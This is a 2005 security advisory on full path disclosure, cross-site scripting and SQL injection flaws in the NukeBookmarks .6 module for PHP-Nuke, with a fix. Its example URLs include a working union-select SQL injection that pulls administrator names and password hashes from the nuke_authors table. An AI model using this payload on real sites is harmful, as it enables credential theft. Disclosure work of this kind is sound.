ZH2005-03SA -- multiple vulnerabilities in NukeBookmarks .6
ZH2005-03SA -- multiple vulnerabilities in NukeBookmarks .6
Author: Gerardo 'Astharot' Di Giacomo
Date: 26 March 2005
Product: NukeBookmarks .6
URL: http://nukebookmarks.sourceforge.net/
About the product
-----------------
>From the home page:
"Nuke Bookmarks is a module for PHP-Nuke that allows users to store their own
personal bookmarks on the server, much like Yahoo Bookmarks".
Vulnerabilities summary
-----------------------
1) Full path disclosure
2) Cross Site Scripting
3) SQL Injection
Details
-------
1) Full path disclosure
It's possible to retrieve the full installation URL of the website. In
"marks.php" file, there are some queries to the database. If some parameters
miss or some strange characters are submitted, the functions that get results
from the database will return an error.
Examples:
http://www.nukesite.com/modules.php?name=Bookmarks&file=marks
http://www.nukesite.com/modules.php?name=Bookmarks&file=marks&category=1\'
2) Cross Site Scripting
Almost all of the variables supplied by the user aren't checked and sanitized.
It's possible to inject HTML code into page and do a cross site scripting
attack.
Examples:
http://www.nukesite.com/modules.php?name=Bookmarks&file=del_cat&catname=[htmlcode]
http://www.nukesite.com/modules.php?name=Bookmarks&file=del_mark&markname=[htmlcode]
http://www.nukesite.com/modules.php?name=Bookmarks&file=edit_cat&catname=[htmlcode]
http://www.nukesite.com/modules.php?name=Bookmarks&file=edit_cat&catcomment=[htmlcode]
http://www.nukesite.com/modules.php?name=Bookmarks&file=marks&catname=[htmlcode]
http://www.nukesite.com/modules.php?name=Bookmarks&file=uploadbookmarks&category=[htmlcode]
These other strings are potentially vulnerable but not exploitable:
http://www.nukesite.com/modules.php?name=Bookmarks&file=edit_mark&markname=[htmlcode]
http://www.nukesite.com/modules.php?name=Bookmarks&file=edit_mark&markurl=[htmlcode]
http://www.nukesite.com/modules.php?name=Bookmarks&file=edit_mark&markcomment=[htmlcode]
3) SQL Injection
It's possible to get any content from the database by exploiting a SQL
Injection vulnerability in "marks.php" file.
Example:
http://www.nukesite.com/modules.php?name=Bookmarks&file=marks&catname=1&category=-1/**/union/**/select%200,aid,0,pwd,0,0%20from%20nuke_authors
This example will get the list of PHPNuke authors and the relative hashes of
the passwords.
Solution
--------
Download the latest version of NukeBookmarks (.7).
Contacts
--------
astharot@xxxxxxxxxx
http://www.zone-h.org - http://www.zone-h.it
Original URL: http://zone-h.org/advisories/read/id=7356